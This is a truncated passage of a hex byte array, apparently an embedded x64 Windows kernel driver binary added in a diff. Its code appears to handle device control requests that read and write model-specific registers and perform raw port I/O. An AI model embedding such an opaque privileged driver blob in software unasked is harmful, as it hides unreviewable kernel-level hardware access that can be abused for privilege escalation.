0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, + 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, + 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, + 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, + 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, + 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, + 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, + 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, + 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, + 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, + 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, + 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, + 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, + 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, + 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, + 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, + 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, + 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, + 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, + 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, + 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, + 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, + 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, + 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, + 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, + 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, + 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, + 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, + 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, + 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, + 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, + 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, + 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, + 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, + 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, + 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, + 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, + 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, + 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, + 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, + 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, + 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, + 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, + 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, + 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, + 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, + 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, + 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, + 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, + 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, + 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, + 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, + 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, + 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, + 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, + 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, + 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, + 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, + 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, + 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, + 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, + 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, + 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, + 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, + 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, + 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, + 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, + 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, + 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, + 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, + 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, + 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, + 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, + 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, + 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, + 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, + 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, + 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, + 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, + 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, + 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, + 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, + 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, + 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, + 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, + 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, + 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, + 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, + 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, + 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, + 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, + 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, + 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, + 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, + 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, + 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, + 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, + 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, + 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, + 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, + 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, + 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, + 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, + 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, + 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, + 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, + 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, + 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, + 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, + 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, + 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, + 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, + 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, + 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, + 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, + 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, + 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, + 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, + 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, + 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, + 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, + 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, + 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, + 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, + 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, + 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, + 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, + 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, + 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, + 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, + 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, + 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, + 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, + 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, + 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, + 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, + 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, + 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, + 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, + 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, + 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, + 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, + 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, + 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, + 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, + 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, + 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, + 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, + 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, + 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, + 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, + 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, + 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, + 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, + 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, + 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, + 0x00, 0x41, 0x81, 0xF8, 0x50, 0x0E, 0x50, 0xC3, 0x0F, 0x84, 0x81, 0x00, + 0x00, 0x00, 0x41, 0x81, 0xF8, 0x54, 0x0E, 0x50, 0xC3, 0x74, 0x68, 0x41, + 0x81, 0xF8, 0x58, 0x0E, 0x50, 0xC3, 0x74, 0x4F, 0x41, 0x81, 0xF8, 0x5C, + 0x0E, 0x50, 0xC3, 0x74, 0x36, 0x41, 0x81, 0xF8, 0x60, 0x0E, 0x50, 0xC3, + 0x74, 0x1D, 0x41, 0x81, 0xF8, 0x64, 0x0E, 0x50, 0xC3, 0x0F, 0x85, 0xB1, + 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x4E, 0xF8, + 0xFF, 0xFF, 0xE9, 0x1E, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x56, 0xF7, 0xFF, 0xFF, 0xE9, 0x0E, 0x02, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x92, 0xFD, 0xFF, 0xFF, 0xE9, 0xFE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0xF2, 0xF8, + 0xFF, 0xFF, 0xE9, 0xEE, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 0x8B, + 0xCD, 0xE8, 0x82, 0xFA, 0xFF, 0xFF, 0xE9, 0xDE, 0x01, 0x00, 0x00, 0x4C, + 0x8B, 0xC6, 0x48, 0x8B, 0xCD, 0xE8, 0x96, 0x09, 0x00, 0x00, 0xE9, 0xCE, + 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC6, 0x48, 